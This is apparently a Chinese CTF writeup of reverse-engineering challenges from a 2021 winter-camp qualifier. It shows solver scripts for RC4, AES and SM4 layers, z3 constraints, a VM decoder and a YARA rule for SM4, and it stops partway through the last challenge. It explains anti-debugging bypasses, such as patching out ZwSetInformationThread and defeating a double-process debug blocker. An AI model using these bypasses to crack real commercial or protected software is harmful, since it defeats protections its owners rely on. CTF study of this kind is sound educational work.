HWS计划2021硬件安全冬令营线上选拔赛 Writeup

RE 部分转载来自安全客(2021DASCTF 一月赛 RE 部分)

RE

decryption-100

Try to decrypt me!

main 函数

发现代码还原的很好,可以可清楚地看到整个逻辑

图片

其中第一个限制就是要求输入的字符长度为 32 位,否则就会直接退出,然后通过一个加密函数把输入的内容加密,加密之后通过 memcmp 进行比对,这也是一种非常常见的 RE 模型,也就是让你还原 encrypt 的过程

encrypt 函数

图片

很清楚的可以发现一个特性,那么就是程序的加密过程都是单字节相关的,这意味着我们只需要逐字节的爆破比对就可以得到加密前的结果,由于这里伪代码是 C 的,所以我们考虑直接用 C++ 编写爆破代码。

导出比对内容

图片

双击进入比对的内容,发现没有识别为字节数组,我们按下小键盘的*键

就可以转换为数组的形式显示

图片

再按下 Shift + E,就可以把内容都提取出来了图片

爆破程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <cstdio>
unsigned char _buf[] =
{
  0x12, 0x45, 0x10, 0x47, 0x19, 0x49, 0x49, 0x49, 0x1A, 0x4F,
  0x1C, 0x1E, 0x52, 0x66, 0x1D, 0x52, 0x66, 0x67, 0x68, 0x67,
  0x65, 0x6F, 0x5F, 0x59, 0x58, 0x5E, 0x6D, 0x70, 0xA1, 0x6E,
  0x70, 0xA3
};
unsigned char ans[32];
int main()
{
    unsigned char v3; // [esp+8h] [ebp-8h]
    unsigned char v4; // [esp+Ah] [ebp-6h]
    unsigned char v5; // [esp+Bh] [ebp-5h]
    for (int i = 0; i <= 31; ++i)
    {
        for (int j = 0; j <= 255; j++)
        {
            v5 = j;
            v4 = i;
            do
            {
                v3 = 2 * (v4 & v5);
                v5 ^= v4;
                v4 = v3;
            } while (v3);
            if ((v5 ^ 0x23) == _buf[i])
            {
                ans[i] = j;
                break;
            }
        }
    }
    printf("%s", ans);
    return 0;
}

这里有一个坑点就是要注意一下在爆破比对的时候,比对的类型要一致,否则这道题就会有两个字节出不来结果。

obfu-200

小红电脑上的文件被黑客加密了,只留下了一个解密程序,但需要支付比特币购买序列号才能使用,你能帮助小红破解这个程序吗?

压缩包给出了两个文件

图片

用 IDA 打开后,发现这道题的符号信息基本上都被清楚了,故尝试用字符串进行搜索

图片

查找引用找到对应位置

图片

发现程序逻辑相当的复杂,但是还是大概可以看出和上一题类似的一个模型,就是通过先加密,然后再比对来进行验证。

加密函数

观察代码可以发现输入的内容都被传入了 sub_401410 函数进行进一步的加密。并且第一个参数接受加密后的内容,第二个参数传入要加密的内容。

对我们已知的变量名称进行重命名,并且对已知的类型进行重新操作后,我们可以得到一份比较舒服的伪代码

第一部分

图片

虽然不知道他的那个 while 是在干什么,但是通过动态调试可以发现,这一段其实就在把你输入的 16 进制字符串转换为内部储存的字节形式。

也就是从输入内容的 32 位字符串,变成了 16 位字节。

第二部分

图片

这里其实是一个 for 循环,直到 idx == 16 的时候结束,不过 ida 的伪代码识别成 while 循环了

也就是一个加密的过程,所做的事情就是把 en1 加密后的内容进行第二部分的加密,但是我也不清楚他干了啥,但是简单的一看可以发现几个特征

1.首先就是当前字节的内容和前后两个字节的内容相关,虽然单字节爆破变成了双字节,但是这个爆破范围还是能够在接受范围内的

2.通过这个代码,我们有 16 个未知数和 16 个等式,其实我们可以直接通过 z3 约束来解出结果。

第三部分

图片

不知道这里这一块在干什么,但是经过测试可以发现这一块的内容所生成的数据都是固定的(不会受到输入数据的影响),所以我们可以不进行分析

第四部分

图片

可以发现最后生成的 key 是固定的,我们所需要分析的就是 sub_402B70 函数了,他传入了 en2,也就是我们之前加密的内容,并且传入了 key(名字是我分析之后修改的)

进入分析之后发现,虽然代码相当的复杂,分析也毫无头绪

图片

我们可以注意到这样的函数

图片

加密程序往里面传入了固定的 key 值和长度 16,我们非常有理由怀疑这里就是加密的主要逻辑

点进去分析就可以直接发现,其实这就是一个 rc4 加密

图片

这里说一点识别的窍门,但主要还是见得多就知道了

rc4 加密最显著的特征就是他的循环次数是 256,在初始化的过程中会生成一个内容为 0-255 的数组(有些时候会直接赋值)

而这里的循环的次数和循环内所干的事情都符合,并且我们可以发现他对传入的 key 的信息进行处理,所以我们就可以大胆的猜测这里是 rc4

本来以为分析到这里应该也就差不多了,结果发现后面居然还有一层加密

图片

加密后的内容传回到了 encode_data 中,并且又传递给了下一个函数。

这个函数我显然不是很脸熟,但是我通过 Findcrypt 插件找到了他的关键

图片

可以发现在这个函数的内部实际上调用了

图片

这部分的内容,所以我们大胆猜测这里其实就是 AES 加密,并且 key 的内容和 rc4 的 key 一致(正好两者要求也都是 16 位),v7 也就是 AES 加密的 iv。

到此加密函数就结束了

解密程序

我们需要完全的倒推内容

1.AES 加密

2.RC4 加密

3.可爆破的加密

最后得到的内容就是我们要输入的字节信息

程序中直接对第三步用 z3 约束进行求解(是真的好用)

其他的数据内容是通过动态调试提取得到的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES, ARC4
from z3 import *
iv = bytes([0x6E, 0xD6, 0xCE, 0x61, 0xBB, 0x8F, 0xB7, 0xF3, 0x10, 0xB7, 0x70, 0x45, 0x9E, 0xFC, 0xE1, 0xB1])
key = bytes([0x8C, 0xE5, 0x1F, 0x93, 0x50, 0xF4, 0x45, 0x11, 0xA8, 0x54, 0xE1, 0xB5, 0xF0, 0xA3, 0xFB, 0xCA])
m = bytes([0x21, 0x23, 0x2F, 0x29, 0x7A, 0x57, 0xA5, 0xA7, 0x43, 0x89, 0x4A, 0x0E, 0x4A, 0x80, 0x1F, 0xC3])
aes = AES.new(key, iv=iv, mode=AES.MODE_CBC)
c = aes.encrypt(m)
rc4 = ARC4.new(key)
target = rc4.decrypt(c)
solver = Solver()
ans = [BitVec('u%d' % i, 8) for i in range(16)]
for i in range(16):
    solver.add((32 * ans[(i + 15) % 16]) | (ans[i] >> 3) & 0x1F == ord(target[i:i+1]))
solver.check()
result = solver.model()
input_data = ''.join('%02x' % result[ans[i]].as_long() for i in range(16))
print(input_data)

babyre-200

IDA 打开之后

图片

发现和一般的 re 题目不太一样,这道题目的加密函数似乎不是可以直接查看的,而是用了某种方式调用,但是最后的逻辑还是一样的,也就是通过比对加密后的内容最后判断是否正确

在各个函数中苦苦的寻找,最后终于找到一点可能是在加密的东西

图片

反调试

他这里特意通过异或来动态解密,似乎就是再告诉我们这里在干一些见不得人的事情。

图片

图片

调试发现最后解密取出的地址是 ZwSetInformationThreadi 函数

百度搜索这个关键词发现这个似乎就是一种反调试操作

图片

所以我们考虑把这里的调用函数操作给 nop 掉

图片

从传参开始 nop,并且保存内容,之后就可以正常调试了。

动态解密

观察后面的内容发现这道题是动态解密出 Cipher.dll,不过我采用动态调试的方法,其实可以不用管解密的这部分内容

图片

加密函数

我们就直接分析调用解密后代码的这一部分的内容即可

图片

这部分就是重要的加密函数,这里把数据前十六字节和后十六字节分段进行加密

图片

发现这一块内容因为是 SMC 生成的,所以 IDA 没有识别出来,我们按 P 手动转换成函数

接着不断的进入函数最后可以发现关键的内容

图片

第一个循环

可以发现第一个循环动态生成了一个 data 数组,而这个数组的内容都是固定的,我们可以直接提取。

第二个循环

第二个循环的才是重要的加密内容,他通过一个循环进行不断的迭代,并且可以发现其中的

v5[0] - v5[3]的内容就是我们输入的前 16 个

而迭代的最后四位 v5[32]-v5[35]的内容就是最后加密得到的内容,我们暂且先不管 encode 函数内部实现如何。

可以发现,我们 encode 函数传入的参数完全是已知的的内容,我们只需要有 encode 函数正向的计算代码,就可以从后往前推出所有的内容

encode 函数

图片

我们只需要正向的编写 encode 函数的代码即可,所以不需要复杂的分析,不过我这里还是说明一下吧,这个函数取出了参数的每一位 bytes,并且作为下标找到相应的 key 数组中的内容赋值给 data 数组,最后又通过函数把 data 数组的内容转换为 int,再用 get 函数异或一下。这个过程虽然很复杂,但是不要求逆向就无所谓了。

解密程序

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
#include <cstdio>
unsigned int encode_data[8] =
{
	0xB75863EA, 0xE9A1E28C, 0x538F29C5, 0x593208E8, 0xAE671BAF, 0xC4CFDAD9, 0xECB1FF72, 0x06F37376
};
unsigned int data[33] =
{
	0xC05103FD, 0xD1DBA4A4, 0xB693F50A, 0xB3A4E3B7, 0xA15183E9, 0x75562A4D, 0x25B5EC04, 0xC6C71137,
	0x0CB9B0C9, 0xD7F95262, 0x618D8F3A, 0xB12AAC90, 0x6F024009, 0x3C317396, 0xECB905CB, 0xEBBA737B,
	0x189CDA0F, 0xB35E97F2, 0xA459666D, 0x7438091C, 0x61A02896, 0xDB905062, 0xBDA9F172, 0x4531376F,
	0x634C619D, 0xD37BD2FB, 0xDB3DFBC3, 0xE88EF7F2, 0x37E2C886, 0x2DF2AC0C, 0xE58F0D02, 0xF5CA718D,
	0xEFE40BDF
};
unsigned char key[] =
{
  0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6,
  0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76,
  0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86,
  0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A,
  0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3,
  0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA,
  0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73,
  0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
  0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB,
  0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E,
  0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21,
  0x78, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52,
  0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF,
  0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE,
  0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34,
  0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
  0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29,
  0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45,
  0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C,
  0x5B, 0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F,
  0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 0x0A, 0xC1,
  0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12,
  0xB8, 0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96,
  0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
  0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE,
  0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int get(unsigned int a, unsigned int b)
{
	return (a >> (32 - b)) ^ (a << b);
}
int solve(int x)
{
	unsigned int data = 0;
	unsigned char a[4];
	for (int i = 0; i < 4; ++i) a[i] = key[(x >> (24 - 8 * i)) & 0xFF];
	for (int i = 0; i < 4; ++i) data ^= a[i] << (24 - 8 * i);
	return data ^ get(data, 2) ^ get(data, 10) ^ get(data, 18) ^ get(data, 24);
}
int rev(int x)
{
	unsigned int data = 0;
	unsigned char a2[4];
	for (int i = 0; i < 4; ++i) a2[i] = x >> (24 - 8 * i);
	for (int i = 0; i < 4; i++) data ^= a2[4 - i - 1] << (24 - 8 * i);
	return data;
}
unsigned int sz[36];
int main()
{
	for (int i = 0; i < 8; i++) encode_data[i] = rev(encode_data[i]);
	for (int i = 0; i < sizeof(encode_data) / 4; i += 4)
	{
		sz[35] = encode_data[i];
		sz[34] = encode_data[i + 1];
		sz[33] = encode_data[i + 2];
		sz[32] = encode_data[i + 3];
		for (int i = 31; i >= 0; i--)
		{
			sz[i] = sz[i + 4] ^ solve(data[i + 1] ^ sz[i + 3] ^ sz[i + 2] ^ sz[i + 1]);
		}
		for (int i = 0; i < 4; i++)
		{
			unsigned char t[4];
			for (int j = 0; j < 4; ++j)
			{
				t[j] = sz[i] >> (24 - 8 * j);
				printf("%c", t[j]);
			}
		}
	}
	/*
	* encode
	for (int i = 0; i < 32; ++i)
	{
		sz[i + 4] = sz[i] ^ solve(data[i + 1] ^ sz[i + 3] ^ sz[i + 2] ^ sz[i + 1]);
	}
	*/
	return 0;
}

总结

这道题赛后听说是 SM4 国密算法,可惜这个算法 findcrypt 不支持,我之前也没有接触过,所以一下子没有看出来,在比赛的时候手动撸了一份解密代码,也不知道为啥,感觉这个解密算法比我想象中要容易一些写出。

所以为了在以后不再犯这样的错误,我在 findcrypt3.rules 文件中加入了以下规则辅助识别。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
rule SM4_sbox
{	meta:
		author = "wjh"
		date = "2021-2"
		description = "SM4 [sbox]"
	strings:
		$c0 = { D6 90 E9 FE CC E1 3D B7 16 B6 14 C2 28 FB 2C 05 2B 67 9A 76 2A BE 04 C3 AA 44 13 26 49 86 06 99 9C 42 50 F4 91 EF 98 7A 33 54 0B 43 ED CF AC 62 E4 B3 1C A9 C9 08 E8 95 80 DF 94 FA 75 8F 3F A6 47 07 A7 FC F3 73 17 BA 83 59 3C 19 E6 85 4F A8 68 6B 81 B2 71 64 DA 8B F8 EB 0F 4B 70 56 9D 35 1E 24 0E 5E 63 58 D1 A2 25 22 7C 3B 01 21 78 87 D4 00 46 57 9F D3 27 52 4C 36 02 E7 A0 C4 C8 9E EA BF 8A D2 40 C7 38 B5 A3 F7 F2 CE F9 61 15 A1 E0 AE 5D A4 9B 34 1A 55 AD 93 32 30 F5 8C B1 E3 1D F6 E2 2E 82 66 CA 60 C0 29 23 AB 0D 53 4E 6F D5 DB 37 45 DE FD 8E 2F 03 FF 6A 72 6D 6C 5B 51 8D 1B AF 92 BB DD BC 7F 11 D9 5C 41 1F 10 5A D8 0A C1 31 88 A5 CD 7B BD 2D 74 D0 12 B8 E5 B4 B0 89 69 97 4A 0C 96 77 7E 65 B9 F1 09 C5 6E C6 84 18 F0 7D EC 3A DC 4D 20 79 EE 5F 3E D7 CB 39 48 }
	condition:
		$c0
}

Enigma-300

1940 年 9 月 6 日,英国情报部门军情六处截获了一封重要的德国电报,你能逆向分析德国使用的密码机 Enigma,帮助军情六处解密这封电报吗?注:得到的 flag 请以 MD5 格式提交

main 函数

图片

也是老样子了,读入 inp 中的内容进行加密后输入到 enc 文件中,而这道题直接给出了 enc 文件,要让我们求出 inp 文件的内容,关键的加密内容就在 loc_4018F0

加密函数

图片

这里显然是 IDA 无法正常的识别出代码的内容,而 0xC7 这个机器码也是没有对应的汇编的,这意味程序执行到这里的时候一定会报错,所以在这段代码的开头调用了 SetUnhandledExceptionFilter 来进行设置异常接管函数

图片

这个函数我们这样似乎看不出什么,问题就在于它的参数类型识别错误。

我们对参数类型进行修改

图片

接下来就可以看到很清楚的代码逻辑了

图片

分析可以得知,

实际上 0xC7 0xFF 开头的代码是无法执行的,到了异常处理函数这里,会对产生异常的代码附近信息进行提取,并且后几个字节的内容都是作为参数来处理

图片

比如这里的 4 就会进入 switch 语句中调用 case 4 的分支,并且传入参数 1 和 0。

我这里找了一个处理函数进行讲解(修正参数类型后就会得到比较舒服的伪代码)

图片

可以发现处理函数实际上就是对寄存器进行操作,也就是通过了类似 opcode,和异常处理

,来达到了一个虚拟机的效果。

我这里不会 IDC,所以只能尝试通过反汇编引擎来逐个读取,如果读取到错误的内容,就当做 opcode 进行处理,最后把所有的汇编代码输出,然后我再手动还原。

我这里使用的是 od 的内部反汇编引擎,并且该引擎已经开源,我对其代码进行调用,使其可以在 VS 上调用,修改后的 github 地址:https://github.com/wjhwjhn/DisAsmVS希望师傅们能给我点个 Star,嘿嘿

opcode 还原代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
// Free Disassembler and Assembler -- Demo program
//
// Copyright (C) 2001 Oleh Yuschuk
//
//  This program is free software; you can redistribute it and/or modify
//  it under the terms of the GNU General Public License as published by
//  the Free Software Foundation; either version 2 of the License, or
//  (at your option) any later version.
//
//  This program is distributed in the hope that it will be useful,
//  but WITHOUT ANY WARRANTY; without even the implied warranty of
//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//  GNU General Public License for more details.
//
//  You should have received a copy of the GNU General Public License
//  along with this program; if not, write to the Free Software
//  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
/*
int Assemble(char *cmd,ulong ip,t_asmmodel *model,int attempt,int constsize,char *errtext)  - 将文本命令汇编为二进制代码
int Checkcondition(int code,ulong flags) - checks whether flags met condition in the command  - 检查命令中是否满足条件
int Decodeaddress(ulong addr,ulong base,int addrmode,char *symb,int nsymb,char *comment) - 用户提供的函数,将地址解码为符号名称
ulong Disasm(char *src,ulong srcsize,ulong srcip,t_disasm *disasm,int disasmmode) - 确定二进制命令的长度或将其反汇编到文本中
ulong Disassembleback(char *block,ulong base,ulong size,ulong ip,int n) -  向后走二进制代码;
ulong Disassembleforward(char *block,ulong base,ulong size,ulong ip,int n) - 向前走二进制代码;
int Isfilling(ulong addr,char *data,ulong size,ulong align) - 确定命令是否等于NOP;
int Print3dnow(char *s,char *f) - 转换3DNow!常量为文本而不触发无效操作数的FPU异常;
int Printfloat10(char *s,long double ext) - 将10字节浮点常量转换为文本而不会导致异常;
int Printfloat4(char *s,float f) - 将4字节浮点常量转换为文本而不会导致异常;
int Printfloat8(char *s,double d) - 将8字节浮点常量转换为文本而不会导致异常.
*/
#define STRICT
#define MAINPROG                       // Place all unique variables here
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <math.h>
#include <float.h>
#pragma hdrstop
#include "disasm.h"
unsigned char opcode[] =
{
  0x55, 0x8B, 0xEC, 0x53, 0x56, 0x57, 0x68, 0x30, 0x16, 0xAF,
  0x00, 0xFF, 0x15, 0x00, 0x20, 0xB3, 0x00, 0xC7, 0xFF, 0x04,
  0x01, 0x00, 0x33, 0xC9, 0x83, 0xF9, 0x20, 0x7D, 0x17, 0xC7,
  0xFF, 0x00, 0x01, 0x11, 0xC7, 0xFF, 0x04, 0x01, 0x1F, 0x89,
  0x04, 0x8D, 0x70, 0x7A, 0xB4, 0x00, 0xC7, 0xFF, 0x02, 0x03,
  0xEB, 0xE4, 0x33, 0xC9, 0x83, 0xF9, 0x20, 0x7D, 0x2D, 0x8B,
  0x1C, 0x8D, 0x70, 0x7A, 0xB4, 0x00, 0x8B, 0x14, 0x8D, 0x74,
  0x7A, 0xB4, 0x00, 0x8A, 0x82, 0x4C, 0x7A, 0xB4, 0x00, 0x88,
  0x83, 0xE0, 0x79, 0xB4, 0x00, 0x8A, 0x83, 0x4C, 0x7A, 0xB4,
  0x00, 0x88, 0x82, 0xE0, 0x79, 0xB4, 0x00, 0xC7, 0xFF, 0x00,
  0x03, 0x02, 0xEB, 0xCE, 0x33, 0xC9, 0x83, 0xF9, 0x20, 0x7D,
  0x35, 0x8A, 0x99, 0xE0, 0x79, 0xB4, 0x00, 0xC7, 0xFF, 0x04,
  0x02, 0x1F, 0xC7, 0xFF, 0x07, 0x02, 0x03, 0x8B, 0xF1, 0x46,
  0x83, 0xE6, 0x1F, 0x8A, 0x96, 0xE0, 0x79, 0xB4, 0x00, 0x80,
  0xE2, 0xE0, 0x81, 0xE2, 0xFF, 0x00, 0x00, 0x00, 0xC7, 0xFF,
  0x08, 0x04, 0x05, 0x0A, 0xDA, 0x88, 0x99, 0x04, 0x7A, 0xB4,
  0x00, 0x41, 0xEB, 0xC6, 0xA0, 0x04, 0x7A, 0xB4, 0x00, 0xA2,
  0x28, 0x7A, 0xB4, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x83,
  0xF9, 0x20, 0x7D, 0x28, 0x8A, 0x99, 0x04, 0x7A, 0xB4, 0x00,
  0x8B, 0xF1, 0xC7, 0xFF, 0x03, 0x05, 0x32, 0x9E, 0x04, 0x7A,
  0xB4, 0x00, 0x8B, 0xF1, 0xC7, 0xFF, 0x04, 0x05, 0x03, 0x32,
  0x9E, 0xF0, 0x68, 0xB4, 0x00, 0x88, 0x99, 0x28, 0x7A, 0xB4,
  0x00, 0x41, 0xEB, 0xD3, 0x5F, 0x5E, 0x5B, 0x5D, 0xC3
};
char s[10][10] = {
	"",
	"eax",
	"ebx",
	"ecx",
	"edx",
	"esi"
};
int main(main) 
{
	int idx = 0, eip = 0xAF18F0;
	t_disasm da = { 0 };
	da.code_format = 0;
	da.lowercase = 0;
	da.ideal = 0;
	da.putdefseg = 0;
	for (int idx = 0; idx < 229; )
	{
		da.index = idx;
		unsigned int l = Disasm32(opcode, &da, eip + idx, 4);
		printf("%08X ", eip + idx);
		if (!strcmp(da.comment, "Unknown command"))
		{
			int reg = opcode[idx + 3];
			switch (opcode[idx + 2])
			{
			case 0:
				printf("add %s, %x\n", s[reg], opcode[idx + 4]);
				idx += 5;
				break;
			case 1:
				printf("add %s, -%x\n", s[reg], opcode[idx + 4]);
				idx += 5;
				break;
			case 2:
				printf("add %s, %x\n", s[reg], 1);
				idx += 4;
				break;
			case 3:
				printf("add %s, -%x\n", s[reg], 1);
				idx += 4;
				break;
			case 4:
				printf("and %s, %x\n", s[reg], opcode[idx + 4]);
				idx += 5;
				break;
			case 5:
				printf("or %s, %x\n", s[reg], opcode[idx + 4]);
				idx += 5;
				break;
			case 6:
				printf("xor %s, %x\n", s[reg], opcode[idx + 4]);
				idx += 5;
				break;
			case 7:
				printf("shl %s, %x\n", s[reg], opcode[idx + 4]);
				idx += 5;
				break;
			case 8:
				printf("shr %s, %x\n", s[reg], opcode[idx + 4]);
				idx += 5;
				break;
			default:
				idx += 2;
				break;
			}
		}
		else
		{
			printf("%s\n", da.result);
			idx += l;
		}
	}
	return 0;
}

还原之后,就可以直接查看

伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <cstdio>
#include "defs.h"
int swap_data[36];
unsigned char encode_data[36];
unsigned char input_data[36] = "c4ca4238a0b923820dcc509a6f75849b";
unsigned char tmp_data[36];
unsigned char data[36];
char aBier[] = "Bier";
void encode()
{
    int v0; // eax
    int i; // ecx
    int j; // ecx
    int v3; // ebx
    int v4; // edx
    int k; // ecx
    char result; // al
    int l; // ecx
    v0 = 0;
    for (i = 0; i < 32; ++i)
    {
        v0 = ((_BYTE)v0 + 0x11) & 0x1F;
        swap_data[i] = v0;
    }
    for (j = 0; j < 32; j += 2)
    {
        v3 = swap_data[j];
        v4 = swap_data[j + 1];
        encode_data[v3] = input_data[v4];
        encode_data[v4] = input_data[v3];
    }
    for (k = 0; k < 32; ++k)
        tmp_data[k] = ((unsigned __int8)(encode_data[((_BYTE)k + 1) & 0x1F] & 0xE0) >> 5) | (8 * (encode_data[k] & 0x1F));
    result = tmp_data[0];
    data[0] = tmp_data[0];
    for (l = 1; l < 32; ++l)
        data[l] = aBier[l & 3] ^ tmp_data[l - 1] ^ tmp_data[l];
}
int main()
{
    encode();
    return 0;
}

直接用 z3 写正向代码约束求解。

解密程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from z3 import *
data = list(bytes([0x93, 0x8B, 0x8F, 0x43, 0x12, 0x68, 0xF7, 0x90, 0x7A, 0x4B, 0x6E, 0x42, 0x13, 0x01, 0xB4, 0x21, 0x20, 0x73, 0x8D, 0x68, 0xCB, 0x19, 0xFC, 0xF8, 0xB2, 0x6B, 0xC4, 0xAB, 0xC8, 0x9B, 0x8D, 0x22]))
xor_key = "Bier"
for i in range(1, 32):
    data[i] ^= ord(xor_key[i & 3]) ^ data[i - 1]
solver = Solver()
encode_data = [BitVec('u%d' % i, 8) for i in range(32)]
input_data = [BitVec('i%d' % i, 8) for i in range(32)]
for i in range(32):
    solver.add((encode_data[(i + 1) & 0x1F] & 0xE0) >> 5 | (8 * (encode_data[i] & 0x1F)) == data[i])
swap_data = list(range(32))
t = 0
for i in range(32):
    t = (t + 0x11) & 0x1F
    swap_data[i] = t
for i in range(0, 32, 2):
    v3 = swap_data[i]
    v4 = swap_data[i + 1]
    solver.add(encode_data[v3] == input_data[v4])
    solver.add(encode_data[v4] == input_data[v3])
solver.check()
res = solver.model()
data = ''.join(chr(res[input_data[i]].as_long()) for i in range(32))
print(data)

Childre-300

双进程保护

这道题就是典型的双进程保护(Debug Blocker)

双进程保护,实际上是程序本身作为一个进程或一个调试器,并且在调试模式下运行自身程序。所以这种保护通常就会存在两个进程。

这种程序的技术特点是

1.无法被调试,因为程序本身也是一个调试器。我们又知道一般情况下一个程序只能被一个调试器所调试,如果他的程序先抢占作为了调试器,那么就无法进行调试。所以解决办法只能是在他的调试器附加之前你先开始调试。

2.一般来说,为了防止你直接抢占调试来绕过,他还会加一个异常处理函数,程序中原本存在一些不合理的代码或者 INT3 断点,当他的调试器处理的时候会去做一些指定的流程,而你作为调试者,在调试过程中就无法处理那些代码。

不过好在他是一道题目,那么就一定是能做的,也就是一般来说这个异常处理函数不会很复杂,手动模拟也可以操作,或者编写简单的脚本也可以进行解密,比如有些题目就是会直接在异常处理函数里面对代码进行解密后再返回运行。

异常处理函数(调试器部分)

这道题我们尝试直接从 start 开始下断,并且找到他处理调试器异常的逻辑部分,然后再手动跳转来执行加密过程

图片

不断单步可以发现,这里开始分配函数执行

图片

不难发现这部分就是创建了互斥体,并且通过互斥体来判断当前进程是调试器还是被调试的函数,并且通过 dword_432350 来记录,然后创建进程。

图片

接着跟踪就发现了调试器处理的代码,这部分内容如果看过《加密与解密》的师傅应该会很清楚,里面有对编写调试器的函数信息详细的解释。

图片

接下来进入到 case 1 分支中的函数,就可以很清楚的看到处理逻辑

图片

普通程序流程

我们目前知道了调试逻辑之后,接下来就是按照调试器的逻辑手动去执行代码。

我们手动创建一个进程,然后再次调试的时候,当前程序就会被认为是要被调试的程序,也就会去执行加密的流程了。

图片

接下来就去 wmain 函数手动模拟,很快就遇到了第一个 int3 断点,我们模拟他的调试器逻辑,跳到下面去执行

图片

紧接着又遇到第二个 int3

图片

并且在这之前的 call 函数输出了

图片

于是我们又手动修改 EIP,跳到下面去执行

图片

紧接着发现程序停在了这里,要我们输入 flag 的信息

图片

输入后继续执行

图片

然后又到了一处 int3,并发现这里的数据 0xA8 在调试器处理函数中需要让 Eip + 9,我们计算后重新修改 EIP

加密函数

图片

发现直接跳到下面的函数执行,我们查看伪代码发现伪代码非常的难看,没有识别出各个变量的信息

图片

